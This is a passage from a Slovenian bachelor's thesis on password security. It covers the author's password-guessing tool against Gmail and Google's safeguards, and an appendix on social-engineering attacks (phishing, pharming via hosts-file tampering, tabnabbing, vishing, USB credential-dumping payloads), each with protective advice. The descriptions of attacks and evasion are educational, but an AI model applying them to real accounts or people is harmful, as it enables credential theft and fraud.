da najbolj. Prva tezˇava, ki se je pojavila je, kako zaobiti zasˇcˇito CAPTCHA.
Cˇe v brskalniku pocˇistimo piˇskotke, se ti povrnejo na prejˇsnjo stanje, kjer ni
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potrebno vpisati CAPTCHA.
Naslednja tezˇava se je pojavila, da ima Google v nastavitvah mozˇnosti do-
stopa do manj varnih aplikacij. Kar pomeni, da Google avtomatsko zavrne
aplikacije, ki se smatrajo za manj varne.
Slika 8.2: Primer za varnost Gmail.
Nazadnje ima Google sˇe zadnji nacˇin, ki uporabnika obvesti o nenavadni
prijavi v njegov racˇun. Uporabnik lahko to razume, kot da je nekdo vdrl in
na podlagi te informacije ustrezno ukrepa in zamenja geslo.
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Slika 8.3: Primer stanja o zadnji prijavi.
Vsako leto Google organizira tekmovanje, ki se imenuje Pwnium. Na tem tek-
movanju ponudijo denarno nagrado vsakomur, ki najde varnostno pomanj-
kljivost v njihovih storitvah. Gmail je tako en od bolj zasˇcˇitenih e-posˇtnih
storitev na spletu, saj je varnost pri njih na prvem mestu.
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Poglavje 9
SKLEPNE UGOTOVITVE
V diplomskem delu smo prikazali pomembnost izbire mocˇnih gesel. Raziskali
smo razlicˇne napade na gesla. Pogledali smo tudi varnostne mehanizme in
kako se zasˇcˇititi pred posameznimi napadi. Spoznali smo si nekaj programov
za razbijanje gesel, ki obstajajo na internetu. Prikazali smo, kako enostavno
je narediti program za pridobivanje gesel, kateri uporabniki imajo preprosta
gesla. Program omogocˇa osnovne napade. Vendar je varnostna politika pri
Googlu na visokem nivoju, tako da z nasˇim programom ne bi mogli pridobiti
neznanih uporabniˇskih racˇunov. Da program deluje, je potrebno vkljucˇiti
mozˇnost dostop do manj varnih aplikacij.
Iz diplomskega dela je razvidno, kako ranljivi smo lahko, cˇe sami ne poskr-
bimo za svojo varnost in zasˇcˇito svojih racˇunov. Tehnologija se nenehno
razvija in tudi napadalci nenehno iˇscˇejo nove nacˇine, kako vdreti v informa-
cijski sistem ali v uporabniˇski racˇun. Zato je pomembno, da so tudi varnostni
mehanizmi v koraku s cˇasom. Posebno je potrebno poudariti, da k vecˇji var-
nosti najbolj pripomore izbira mocˇnih gesel in previdnost pri upravljanju
le-teh. Z izbiro mocˇnih gesel napadalcem otezˇimo, da pridejo do pomemb-
nih in osebnih podatkov. Vendar, kot je bilo razvidno iz diplomskega dela,
veliko uporabnikov uporablja preprosta in sˇibka gesla. Statisticˇno gledano,
je velika verjetnost, da ima na spletnih naslovih, ki jih poznamo, veliko upo-
rabnikov sˇibka gesla. Razlogov je verjetno vecˇ. Najpogostejˇsa sta lenoba in
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uporabnikova neozavesˇcˇenost o nevarnostih v digitalnem svetu. Poleg var-
nostnih mehanizmov, ki nas varujejo pred vdorom, bi veliko pripomoglo k
varnosti zˇe samo dobro obvesˇcˇanje uporabnikov o nevarnostih izbire slabih
gesel. Druga mozˇnost pa je, da imamo program, ki nam ne bi pustil izbrati
slabih gesel.
Imeti dobro geslo, seveda ni dovolj. Paziti moramo, da gesla ne izdamo za-
vedno ali nezavedno, kar se lahko hitro zgodi s socialnim inzˇenirstvom, ki je
opisano v dodatku. Veliko podatkov, ki obstaja na internetu, lahko napa-
dalci priklicˇejo z Googlovim iskalnikom. Z zbranimi podatki lahko napadalci
pretentajo uporabnika, da izda svoje geslo zavedno ali nezavedno.
Pogledali smo si sˇe dva velika vdora, ki sta se zgodila na spletni strani.
Ugotovili smo, da v primeru kraje podatkovne baze gesel, imamo sˇe vedno
en nivo zasˇcˇite. To pomeni, da gesla nimamo shranjena v cˇisti obliki, ampak
so shranjene njihove zgostitve. To se je sˇe posebej poznalo na spletni strani
Rockyou, kjer so imeli gesla shranjena v cˇisti obliki in so napadalci pridobili
celotno bazo gesel. Zaradi tega je spletna stran Rockyou bila delezˇna sˇtevilnih
kritik.
Med varnostnimi mehanizmi smo pogledali CAPTCHA in reCAPTCHA.
Prvi mehanizem ostaja sˇe vedno prva linija varnosti pred vecˇkratnimi po-
skusi prijave v uporabniˇski racˇun, cˇeprav ima dolocˇene pomanjkljivosti. Z
mehanizmom reCAPTCHA so dolocˇene pomanjkljivosti popravili in pripo-
mogli, da uporabniki sodelujejo in pomagajo pri digitalizaciji knjig.
Slovenska zakonodaja na podrocˇju virtualnega sveta ne sledi dovolj teh-
nolosˇkemu razvoju. Napisani so dolocˇeni cˇleni v kazenskem zakoniku, kaj
lahko pocˇnemo na internetu in kaj ne smemo, vendar pri kompleksnih proble-
mih lahko pride do tezˇav, ker so cˇleni v zakonodaji opisani samo povrsˇinsko.
Pojavi se tudi problem pri odvetnikih ali sodnikih, ki nimajo ustreznega teh-
nolosˇkega znanja, da lahko zagovarjajo svoja staliˇscˇa.
Da se v virtualnem svetu pocˇutimo varne, moramo poskrbeti za ustrezno
dolzˇino gesla, ki je sestavljeno iz vecˇ zdruzˇenih besed. Paziti moramo, da
beseda, ki jo izberemo za geslo, ni pogosta, saj obstaja mozˇnost, da bo v
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slovarju, cˇe je le dovolj obsezˇen. Pomembno je, da smo vedno seznanjeni z
novimi napadi in novimi varnostnimi pomanjkljivostmi. Sˇe vedno je najboljˇsa
varnost izobrazˇenost uporabnikov in dolocˇena mera previdnosti v virtualnem
svetu.
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Dodatek A
SOCIALNO INZˇENIRSTVO
Ena od mozˇnosti za iskanje gesel je, da ne iˇscˇemo lukenj v sistemu, ampak
se osredotocˇimo na uporabnika. Naboru taksˇnih metod pravimo socialno
inzˇenirstvo (angl. Social Engineering). Z manipulacijo oziroma zlorabo za-
upanja zˇelimo od uporabnika pridobiti neko informacijo. Podatke, ki jih
zˇelimo pridobiti od uporabnika, so osebne narave in nam znajo pomagati pri
vdoru v sistem. Najpogosteje so to osebno ime in priimek, sˇtevilka transakcij-
skega racˇuna, gesla, EMSˇO ali kateri koli osebni podatek, ki bi nam koristil.
Tehnike so lahko razlicˇne. Pri socialnem inzˇenirstvu ne potrebujemo veliko
znanja o racˇunalnikih ali programiranju, saj se osredotocˇimo bolj na posa-
meznika oziroma uporabnika. Temelji na socialnih vesˇcˇinah in psiholosˇkih
tehnikah, kot so prigovarjanje, vzbujanje zaupanja, uporaba vpliva ali pred-
viden odziv ljudi v dolocˇeni situaciji. Te tehnike se uporabljajo predvsem
na komunikacijskih kanalih, kot so telefoni in elektronska sporocˇila. Lahko
se uporabi osebni pristop. Pri tem se pretvarjamo, da smo podpora uporab-
niku, obiskovalec ali zaposleni v podjetju, v katerem se prosto sprehajamo in
zbiramo informacije. Tak pristop je veliko lazˇje izvedljiv v vecˇjih podjetjih,
kjer se zaposleni med seboj slabo poznajo. Tako rekocˇ se lahko neopazno
sprehajamo po podjetju in zbiramo podatke.
Po napadih, ki temeljijo na socialnem inzˇenirstvu, je najbolj znan heker
Kevin Mitnick, ki je znal izvabljati podatke iz ljudi. Poudaril je, da je veliko
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lazˇje preslepiti uporabnika, da izda geslo, kot pa da porabimo veliko truda
in cˇasa pri vdoru v sistem. V knjigi Umetnost prevare (angl. Arto of
Deception), glej npr. Informacijski Pooblasˇcˇenec [22], je zapisal:
“Socialni inzˇeniring pomeni uporabljanje vpliva in prepricˇevanja
z namenom zavajanja ljudi, da verjamejo, da je socialni inzˇenir
nekdo, ki to ni, ali z manipulacijo. Posledica tega je, da lahko
socialni inzˇenir izkoristi ljudi tako, da od njih pridobi informacije
z ali brez uporabe tehnologije.”
A.1 Zˇivljenski cikel socialnega inzˇenirstva
Vsak napad, ki se zgodi pri socialnem inzˇenirstvu, je sestavljen iz sˇtirih ko-
rakov. Vse stopnje, ki prehajajo iz ene v drugo, so odvisne med seboj. Le-te
so zbiranje informacij, vzpostavitev odnosa, izkoriˇscˇanje odnosa in izvrsˇitev
zastavljenega cilja, ki jih bomo v nadaljevanju bolj podrobno obdelali, glej
npr. Informacijski Pooblasˇcˇenec [22].
(a) Zbiranje informacij
Uspesˇnost napada je odvisna od kolicˇine informacij, ki jih dobimo, in kori-
stnosti. Informacij, ki so osebne narave in nam koristijo, so lahko ime in
priimek, rojstni datumi, vzdevki, del sˇtevilke kreditnih kartic in podobno.
Te informacije nam pomagajo, da lahko vplivamo na uporabnika.
Zˇe s samim brskanjem po internetu, kot je npr. Google, lahko pridobimo ve-
liko informacij o uporabniku ali podjetju, ki ga zˇelimo napasti. V danasˇnjem
cˇasu veliko pripomorejo druzˇabna omrezˇja, kjer uporabniki veliko osebnih
podatkov izdajo kar sami.
(b) Vzpostavitev odnosa
V tej fazi skusˇamo vzpostaviti dolocˇen stik z uporabnikom. Na podlagi pri-
dobljenih podatkov iz prejˇsnje faze lahko odigramo ustrezno vlogo, ki je pri-
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merna za dane razmere. Cˇe smo iz zbranih podatkov izvedeli, da uporabnik
ali podjetje potrebuje serviserja, se lahko izdajamo za serviserja na pod-
lagi danih informacij izdajamo za serviserja. Prepricˇljivost odigrane vloge
je predvsem odvisna od kolicˇine in kvalitete pridobljenih podatkov in nasˇih
igralskih sposobnosti, da uporabnik verjame v nasˇo legitimnost.
Ljudje so bolj nagnjeni k razkrivanju osebnih podatkov tistemu, za katerega
menijo, da je vreden zaupanja. To dosezˇemo predvsem tako, da na podlagi
pridobljenih podatkov prepricˇamo uporabnika, da razkrije del podatkov, ki
bi bili znani samo napadenemu uporabniku.
(c) Izkoriˇscˇanje odnosa
Cˇe smo v prejˇsnji fazi vzpostavili odnos z uporabnikom in ga prepricˇali,
da nam lahko zaupa, lahko tega uporabnika izkoristimo tako, da nam izda
osebne podatke, ki jih potrebujemo pri pridobivanju novih podatkov o kom
tretjem. Cˇe nam uporabnik zaupa, nam v vecˇini primerov brez zadrzˇkov izda
podatke, ki jih zˇelimo oziroma potrebujemo pri vdoru v sistem.
(d) Izvedba zastavljenega cilja
Je zadnji korak v procesu. V tej fazi izkoristimo pridobljene podatke za
dosego zastavljenega cilja. Tako lahko zˇe pridobljene informacije pripomorejo
k vdoru v sistem. Pomembno je poudariti, da zˇivljenjski cikel napada s
socialnim inzˇeniringom ni koncˇan. Sˇe vedno lahko zbiramo podatke in sˇirimo
napad na informacijski sistem. S tem lahko pridobimo podatke od drugih
uporabnikov, na katere zˇelimo izvesti napad. Ker smo zˇe vzpostavili odnos
z uporabnikom, lahko to izkoriˇscˇamo tudi v drugih situacijah.
A.2 Spletno ribarjenje
(angl. Phishing) Je poseben napad, kjer s socialnim inzˇenirstvom zavedemo
uporabnika, z namenom, da pridobimo zasebne podatke, kot so gesla, sˇtevilke
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kreditnih kartic, sˇtevilke bancˇnih kartic, davcˇne sˇtevilke, rojstni datumi in
ostale osebne podatke, ki bi nam koristili. S spletnim ribarjenjem poskusˇamo
pridobiti podatke tako, da uporabnika prepricˇamo oziroma zavedemo, da je
spletna stran enaka originalni strani, ki jo obiskujejo, glej npr. Informacijski
Pooblasˇcˇenec [22].
Napad poteka tako, da pripravimo lazˇno spletno stran, ki je zelo podobna
originalni. Izberemo ciljno skupino, ki jo zˇelimo napasti. Razposˇljemo ele-
ktronsko posˇto, ki na videz izgleda, kot da je bila poslana iz banke, uradne
spletne strani ali druge ustanove. Predmet sporocˇila je lahko nakljucˇen npr.
Opozorilo vsem uporabnikom, Zelo pomembno obvestilo, Nadgradi-
tev racˇuna in podobno, kar lahko na hitro preslepi prejemnika. Vsebina
sporocˇila mora biti videti povsem verodostojna, s katero pritegnemo uporab-
nika. Obicˇajno se izdajamo, da piˇsemo v imenu tehnicˇne sluzˇbe ali katerega
drugega sluzˇbenega izdajatelja in nato od uporabnika zahtevamo, da nam
sporocˇi svoje uporabniˇsko ime in geslo, sˇtevilko bancˇnega racˇuna ali kateri
drug osebni podatek. Z nacˇinom spletnega ribarjenja zˇelimo uporabnika pre-
pricˇati, da so nastale tezˇave na sistemu in da potrebujemo podatke, da lahko
preverimo zadevo. Zraven dodamo tudi naslov do prirejene spletne strani, ki
je popolna kopija uporabniku znane spletne strani, v primeru, da bi se zˇelel
prepricˇati, glej npr. Konicˇ [25].
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Slika A.1: Primer lazˇne spletne strani Paypal, ki je podobna originalni.
Pri spletnem ribarjenju poznamo tudi izraz Spear phishing. Razlika od
klasicˇnega spletnega ribarjenja je v tem, da pri spletnem ribarjenju posˇljemo
posˇto na vse mogocˇe spletne posˇtne naslove. Pri spear phisingu se osre-
dotocˇimo na tocˇno dolocˇena podjetja, na tocˇno dolocˇeno skupino ljudi ali
organizacije. To pomeni, da so po navadi uporabniki ali tarcˇe skrbno izbrani
in raziskani, pri tem lahko poznamo tudi sˇirsˇo zgodbo uporabnika, ki lahko sˇe
bolj prepricˇa v legitimnost sporocˇil, glej npr. Informacijski Pooblasˇcˇenec [22].
Zasˇcˇita pred spletnim ribarjenjem
Spletno ribarjenje ali phishing se lahko razlozˇi s prispodobo ribolova. Osre-
dotocˇimo se na skupino ljudi, ki nam je poznana in razposˇljemo e-posˇto na
spletne naslove. Posˇta je lahko osebna in sestavljena tako, da zahteva po-
zornost uporabnika, tako da je zelo tezˇko locˇiti legitimno pravo e-posˇto od
ponarejene. V elektronskih sporocˇilih so vcˇasih vkljucˇeni tudi deli podatkov,
ki so uporabniku znani. Ti podatki so lahko osebno ime, njegov naslov ali
katerikoli drug oseben podatek, ki je lahko znan samo uporabniku, glej npr.
Gulati [16].
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Stvari, na katere moramo biti pozorni so:
• predmet sporocˇila zahteva od uporabnika takojˇsno pozornost, ker vse-
buje npr. Zelo pomembno obvestilo;
• od uporabnika se zahteva, da se vpiˇse s svojim uporabniˇskim imenom in
geslom. Legitimne in pravne organizacije nikoli ne zahtevajo od svojih
komitentov ali cˇlanov, da odkrijejo svoje geslo;
• v sporocˇilih je obicˇajno mozˇno zaznati slovnicˇne napake;
• spletna povezava ali URL, ki je dodana v sporocˇilu in nas vodi na drugo
spletno mesto, vsebuje samo IP sˇtevilko ali pa je na videz zelo identicˇen
originalu (ljudje velikokrat zelo na hitro pogledajo spletno povezavo in
pri tem lahko spregledajo manjˇso razliko, npr. med Google in Gooogle
je skoraj neopazna razlika);
• neznan format (.exe, .scr, .bat. . . ) priponke ali znan format okuzˇene
priponke (.pdf, .rar, .zip, .doc. . . );
• izvor spletne domene je neznan;
• ni kljucˇavnice v spletnem brskalniku.
Sodobni spletni brskalniki imajo zˇe vgrajeno zasˇcˇito za prepoznavanje po-
tencialne nevarne spletne strani. Tudi programska zasˇcˇita, ki jo upora-
bljajo razlicˇni ponudniki elektronskih posˇt, preprecˇuje in blokira nevarne
napade. Na Googlovi uradni strani je razlozˇeno, da njihova zasˇcˇitna pro-
gramska oprema pregleda vsako poslano in prejeto posˇto. V primeru, da je
virus zaznan, gmail zavrne elektronsko posˇto in posˇlje posˇiljatelju odgovor,
da elektronska posˇta ni bila poslana. Vedno pa je kljucˇen cˇlovesˇki faktor,
da se zasˇcˇitimo pred napadi. To pomeni, da ne odpiramo sumljive priponke
od neznanih posˇiljateljev, da preverimo kam vodi povezava, ki smo jo dobili
v elektronski posˇti in seveda moramo biti pozorni na vsebino sporocˇila, glej
npr. Burnett [7].
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A.3 Pharming
Predstavlja napad na uporabnika, ki je zelo podoben napadu spletnega ri-
barjenja. Pri spletnem ribarjenju smo se bolj osredotocˇili na posameznika,
tako da smo posˇiljali elektronska sporocˇila, v katerih smo hoteli privabiti
uporabnike na lazˇne spletne strani. Pharming napad je bolj osredotocˇen teh-
nolosˇko, kar pomeni, da ne uporabljamo vabe. Saj gre za neposreden napad
na DNS strezˇnike ali pa na datoteko o gostiteljih (anglesˇko hosts file), ki je
na uporabnikovem racˇunalniku.
DNS zastrupljanje (anglesˇko spoofing) pomeni, da je DNS strezˇnik, ki skrbi
za prevod spletnega naslova v ustrezen IP naslov zastrupljen, kar pomeni,
da vsebuje napacˇne povezave med imeni domen in pripadajocˇimi IP naslovi.
Ker so IP naslovi napacˇni, posledicˇno pride do preusmeritve uporabnika na
napacˇno spletno stran, cˇeprav je uporabnik pravilno vpisal URL naslov. Po-
sledica zastrupitve DNS strezˇnika je, da uporabnik ne ve, da je preusmerjen
na lazˇno spletno stran, ker je lazˇna spletna stran identicˇna originalni spletni
strani. Tako od uporabnika skusˇamo pridobiti osebne podatke, ki bi jih lahko
uporabili na originalni spletni strani.
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Slika A.2: Primer delovanja pharming napada.
Napad na datoteko o gostiteljih pomeni, da izvajamo napad lokalno na upo-
rabnikovem racˇunalniku. Ker neposredno napadamo uporabnika, je tezˇko
tak napad odkriti, zato je tak napad nevarnejˇsi, bolj ucˇinkovit od strezˇniˇskih
napadov in lazˇje izvedljiv, saj moramo spremeniti le datoteko o gostite-
ljih (host file). Datoteka se nahaja v direktorju C:\\WINDOWS\system32
\drivers\etc. Potrebno je samo sˇe ustvariti lazˇno spletno stran, ki je identicˇna
originalni, na katero bo uporabnik preusmerjen. Do host datoteke lahko pri-
demo na daljavo ali jo prepiˇsemo z razlicˇnimi virusi in trojanskimi konji.
Znani virusi so Bancos, Banker in Banbra. Host datoteka je predvsem za-
nimiva, ker uporabniku prihrani pot do DNS strezˇnika, saj vsebuje najbolj
pogosto obiskane IP naslove in pripadajocˇe URL naslove. Cˇe spremenimo
hosts datoteko, bo uporabnik kljub pravilnemu URL vnosu preusmerjen na
lazˇno spletno stran, glej npr. Skrt [35].
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Zasˇcˇita pred pharming
Na prvem mestu je sˇe vedno protivirusna zasˇcˇita racˇunalnika. Protiviru-
sni programi nas ne zasˇcˇitijo samo pred virusi, ampak tudi pred pharming
napadom. Proti virusni programi lahko preprecˇijo okuzˇbo z zlonamernimi
programi (npr. trojanski konj), ki lahko spremenijo hosts datoteko. Vendar
popolne zasˇcˇite racˇunalnika z uporabo protivirusnega programa ne moremo
zagotoviti, ker se orodja za odstranitev zlonamerne programske kode pojavijo
sˇele takrat, ko so zlonamerni programi zˇe dalj cˇasa v obtoku. Pomembno je,
da imamo vklopljen pozˇarni zid, ki lahko preprecˇi nezazˇelen vstop napadalcev
preko nezasˇcˇitenih komunikacijskih vrat. S tem preprecˇimo, da bi spremenili
sistem oziroma hosts datoteke.
Sˇe vedno potekajo pogovori, kako se lahko popolnoma obvarujemo pred phar-
ming napadom. Strokovnjaki z varnostnega podrocˇja pravijo, da bi spletni
brskalniki podali avtentikacijo za identiteto spletne strani, ki jo zˇelimo obi-
skati. V podjetju Netcraft so izdelali orodno vrstico Netcraft Toolbar, ki
prikazˇe, kdo je lastnik strezˇnika in v kateri drzˇavi se strezˇnik nahaja. Upo-
rabnik bi s taksˇno informacijo dvakrat premislil ali bi se hotel prijaviti na
spletno stran, katere strezˇnik se nahaja na cˇisto drugi lokaciji.
A.4 Tabnabbing
Slednje je posebna in nova oblika napada socialnega inzˇeniringa. Pri tej
metodi se bolj osredotocˇimo na nepozornost in nepazljivost uporabnika pri
uporabi spletnih zavihkov (anglesˇko tab).
Tabnabbing temelji na spletnih zavihkih, ki so v vseh spletnih brskalnikih.
Uporabniki obiˇscˇejo spletno stran in ko pogledajo vsebino spletne strani,
obicˇajno sˇe ne zaprejo zavihka, temvecˇ odprejo nov zavihek za novo spletno
stran. Stara spletna stran ostane odprta v starem zavihku. Leta 2009 so
naredili raziskavo o uporabnikih pri spletnem brskanju. Odkrili so, da imajo
obicˇajni uporabniki odprto minimalno vsaj tri spletne zavihke v svojem sple-
tnem brskalniku. Z uporabo spletnih portalov so sedaj te sˇtevilke zˇe veliko
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viˇsje. Tabnabbing napad je prvicˇ odkril programer Aza Raskin, ki dela pri
Mozilli Firefox.
Napad poteka tako, da uporabnika prepricˇamo, da obiˇscˇe spletno stran, ki je
pod nasˇo kontrolo. Spletna stran na videz zgleda nedolzˇna, kjer uporabnik
vpiˇse svoje podatke, kot sta uporabniˇsko ime in geslo. Temvecˇ uporabnika
prepricˇamo, da pusti nasˇo spletno stran odprto, medtem ko brska po drugih
spletnih straneh. To lahko dosezˇemo tako, da na nasˇi spletni strani bere
cˇlanek, ki je zanimiv in predolg, da bi ga uporabnik prebral naenkrat. V
cˇlanku dodamo povezave oziroma atribute, ki bi uporabnika pripeljale na
nov zavihek. Javascript koda, ki se izvaja na nasˇi spletni strani pogleda,
cˇe je nasˇ zavihek neaktiven in da uporabnik ni osredotocˇen na nasˇ zavihek.
Cˇe je zavihek neaktiven se nasˇa spletna stran spremeni v phishing spletno
stran, ki od uporabnika zahteva izpolnjevanje osebnih podatkov. Taka sple-
tna stran je identicˇna tisti spletni strani, ki je bila prej odprta v tem zavihku.
Pogledamo lahko tudi v zgodovino, katere spletne strani so bile odprte in od-
premo eno izmed prej odprtih. Taka spletna stran bi lahko bila Gmail ali
katera druga spletna stran, kot so socialna omrezˇja ali spletne strani banke.
Uporabnik, ki je nepozoren, da je zavihek spremenjen, vpiˇse svoje osebne
podatke, mislecˇ, da je stran pristna. Po vpisu podatkov in prijavi v spletno
stran se uporabnika preusmeri na uradno spletno stran, tako da uporabnik
ne posumi, da se je zgodil napad, glej npr. De Ryck [11].
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Slika A.3: Primer prevare, da potrebujemo nadgraditev prevajalnika, v resnici pa gre za prevaro, s katero
bi namestili zlonamerno programsko kodo.
Zasˇcˇita pred Tabnabbing
Ker je tabnabbing tezˇko odkriti, je napad zelo nevaren tudi za ljudi, ki
obicˇajno prepoznajo napad spletnega ribarjenja, lahko pa postanejo zˇrtev
tabnabbing napada. Tudi protivirusni programi tezˇko zaznajo, da se je zgo-
dil tabnabbing napad, ker se spletna stran spremeni v phishing spletno stran
sˇele po nekem zamiku oziroma cˇez dolocˇen cˇas.
Najbolj ucˇinkovita zasˇcˇita pred tabnabbingom trenutno je TabShots. Tab-
Shots zazna napad s tabnabbing tako, da primerja vizualno zavihke z zavih-
kom od prej. TabShots naredi posnetek zavihka, na katerega je uporabnik
osredotocˇen. Medtem ko uporabnik brska po drugih spletnih straneh, se po-
snetek shrani. Ko uporabnik odpre neaktiven zavihek, primerja ta zavihek,
ki smo ga odprli s posnetkom zavihka, ki ga je shranil. Cˇe je priˇslo do razlike
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med odprtim zavihkom in posnetkom zavihka nas TabShots opozori, da je
priˇslo do napada spletne strani, glej npr. De Ryck [11].
A.5 Vishing
Je novejˇsi pol-tehnicˇni pristop socialnega inzˇeniringa, kjer izkoriˇscˇamo te-
lefonske sisteme VoIP (Voice over IP). Pri vishing uporabimo programe za
avtomatsko klicanje vecˇjega sˇtevila telefonskih sˇtevilk naenkrat. Ko se upo-
rabnik javi na neznano telefonsko sˇtevilko, se vklopi program, ki uporabnika
prepricˇa s socialnim inzˇeniringom, da izda svoje osebne podatke. Z VoIP teh-
nologijo je veliko lazˇje izvesti napad, kakor s klasicˇnim telefonskim omrezˇjem.
VoIP deluje na internetnem omrezˇju, saj lahko poklicˇemo vecˇ zˇrtev hkrati.
Napad z vishingom je veliko bolj ucˇinkovit in nevaren. Razlog, da je vishing
ucˇinkovit, temelji na dejstvih, da ljudje veliko bolj zaupajo neznancem preko
telefona, glej npr. Intuit [20].
A.6 Gledanje cˇez ramo
Sledni (angl. Shoulder surfing) je socialni napad, kjer opazujemo uporabnika
oziroma zˇrtev, ki se prijavlja v poslovni proces. Je en od najbolj preprostih
in nevidnih napadov, ker ne potrebujemo znanja o racˇunalnikih in lahko
neopazno opazujemo zˇrtev od dalecˇ ali v mnozˇici ljudi. Gledanje cˇez ramo
pomeni, da opazujemo osebo, ko vpisuje osebne podatke, kot so uporabniˇsko
ime in geslo, vnasˇa pin na bankomatih, izpolnjuje obrazce ali v trgovinah
placˇuje s POS terminalom. Za opazovanje od dalecˇ si lahko pomagamo z
daljnogledi, namestimo kamero v blizˇini, kjer bo zˇrtev vpisala svoje osebne
podatke ali namestimo napravo, ki prebere podatke iz tipkovnice, glej npr.
Allen [2].
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Slika A.4: Primer gledanja cˇez ramo.
Za gledanje cˇez ramo v javnosti, kjer so izvzeti pripomocˇki, se je tezˇko oprede-
liti, cˇe je to kaznivo dejanje. Opazovanje okolice ni kaznivo dejanje. Drugacˇe
je, cˇe si pri tem dejanju pomagamo z ilegalnimi pripomocˇki, kot so naprave
za snemanje, videokamere ali daljnogledi. Zaradi teh pripomocˇkov pa nas
lahko kazensko preganjajo. Da bi povecˇali zasebnost, so na bankomatih po-
sebni zasloni, ki se pod drugacˇnim kotom pogleda zatemnijo. V bankah so
narisane cˇrte na tleh, ki preprecˇijo vdor v zasebnost ljudi tako, da ne stojijo
preblizu en drugemu. Za vecˇjo varnost lahko tudi sami poskrbimo tako, da
z roko zakrijemo tipkovnico, ko vpisujemo geslo in pogledamo nazaj, cˇe nas
kdo opazuje, glej npr. Informacijski Pooblasˇcˇenec [22].
A.7 Brskanje po smeteh
Latinski pregovor pravi, kar je za nekoga smet, je za drugega zlato. Pri
spoznavanju ”tarcˇe”nam odvrzˇene stvari lahko pomagajo pri napadu s so-
cialnim inzˇeniringom. Smeti, ki so odvrzˇene, so lahko stara racˇunalniˇska
oprema, zavrzˇeni osebni dokumenti, telefonski imeniki, naslovi, podatki o
podjetju, koledarji itd. Vsi nasˇteti elementi nam lahko predstavljajo velik
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vir informacij. S tem lahko pridobimo tudi geslo, cˇe je bilo odvrzˇeno med
odpadki, glej npr. Informacijski Pooblasˇcˇenec [22].
Da bi se zasˇcˇitili proti kraji osebnih podatkov, moramo poskrbeti, da so po-
datki resnicˇno unicˇeni, preden jih zavrzˇemo. Pri papirju si lahko pomagamo
z rezalniki, ki razrezˇejo papir na tanjˇse konce. Pomesˇamo jih z ostalimi konci
papirja drugih dokumentov in tako jih je nemogocˇe zopet sestaviti skupaj.
V primeru, da ne potrebujemo vecˇ diska, ga je priporocˇeno unicˇiti. Cˇe samo
zbriˇsemo podatke, sˇe vedno ni dovolj, ker podatki niso resnicˇno zbrisani iz
diska, ampak so sˇe vedno nekje zapisani. Dostop do podatkov preprecˇimo
tako, da s posebnim programom prepiˇsemo disk s samimi nicˇlami ali pa disk
preprosto razmagnetimo.
Glede brskanja po smeteh v slovenski zakonodaji ni nicˇesar izrecno zapisa-
nega. Nacˇeloma velja, cˇe je smetnjak postavljen na javni povrsˇini, je brskanje
prosto dovoljeno. Seveda moramo biti pozorni tudi na to, da ko zavrzˇemo
dolocˇeno stvar, se s tem odrecˇemo pravici o lastniˇstvu. S tem, ko se odre-
kamo pravici o lastniˇstvu, si lahko druga oseba prisvoji zavrzˇen predmet in
vse kar je na njem.
A.8 Nosilci podatkov
Slednje je postalo zelo prakticˇno, saj uporabljamo CD, DVD in USB vsak
dan. Zaradi svoje prakticˇnosti, ker so lahki in imajo veliko kapaciteto za
shranjevanje podatkov, so postali vsesplosˇno uporabni. Zato jih lahko zlora-
bimo in izvedemo napad. Pri tem skusˇamo izkoristiti nepazljivost zˇrtev, od
katerih zˇelimo pridobiti podatke. Napad socialni inzˇeniring z USB kljucˇkom
izvedemo tako, da na prenosljivi medij nalozˇimo sˇkodljivo programsko kodo,
trojanski konj ali virus, s katerim sˇkodujemo uporabniku. Prenosljiv medij
izrocˇimo uporabniku ali pa pustimo na javnem mestu, da nekdo prenosljiv
medij prevzame. Ko uporabnik vkljucˇi prenosljiv medij v racˇunalnik, se
sprozˇi program, s katerim lahko poberemo gesla ali nalozˇimo trojanskega
konja, glej npr. Informacijski Pooblasˇcˇenec [22].
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Kako enostavno je narediti USB kljucˇ, ki nam lahko sluzˇi kot orodje za pri-
dobivanje gesel, lahko najdemo na spletni strani hak5.org. seznam mozˇnosti,
ki jih ponujajo, je zelo raznolik:
• system info, prekopiramo informacije o sistemu, kot so ime racˇunalnika,
IP naslov, DNS strezˇniki,
• VNC, na ta nacˇin lahko nadzorujemo in kontroliramo racˇunalnik preko
internetne povezave,
• dump Mail PW, prekopiramo uporabniˇska imena in gesla shranjena v
posˇtnih odjemalcih,kot so Microsoft Outlook, Mozilla, ThunderBird,
• dump Firefox PW, prekopiramo uporabniˇska imena in gesla, ki so shra-
njena v brskalniku Firefox,
• port Scan, prekopiramo podatke o dostopnosti vrat in trenutno de-
lujocˇih storitev delovne postaje,
• dump Product Keys, prekopiramo serijske sˇtevilke operacijskega sis-
tema.
Kot zanimivost, da je kot prenosljiv medij znan tudi racˇunalniˇski virus Mi-
chelangelo. Virus je nastal leta 1991 in se je prenasˇal z disketami. Znan je
bil po tem, da se je do sˇestega marca razmnozˇeval in ko je uporabnik sˇestega
marca vklopil racˇunalnik, so se mu izbrisali vsi podatki na racˇunalniku. Vi-
rus se je zelo hitro razmnozˇil med uporabniki, ker je bil tih in protivirusni
programi v tem cˇasu niso zaznali vdora v sistem. Da si se ognil izbrisu po-
datkov, si moral spremeniti datum na drugi dan. Druga mozˇnost, ki je bila
bolj zanesljiva in s katero si virus izbrisal s trdega diska, je bil ukaz FDISK
/MBR, glej npr. Cerar [9].
Zasˇcˇita pred nosilci podatkov
Zasˇcˇititi se je zelo tezˇko, ker nevarnosti ne zaznamo oziroma je ne vidimo, do-
kler ni zˇe prepozno. Na novejˇsih operacijskih sistemih so izdelovalci prenehali
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z izdelovanjem autorun-a USB kljucˇkov oziroma da se USB kljucˇ samodejno
zazˇene. K varnosti veliko pripomore zˇe, da smo skepticˇni do neznanih nosil-
cev podatkov in pri uporabi le-teh bolj previdni. Pomembno je, da imamo
najnovejˇso zasˇcˇito in posodobljeno programsko opremo.
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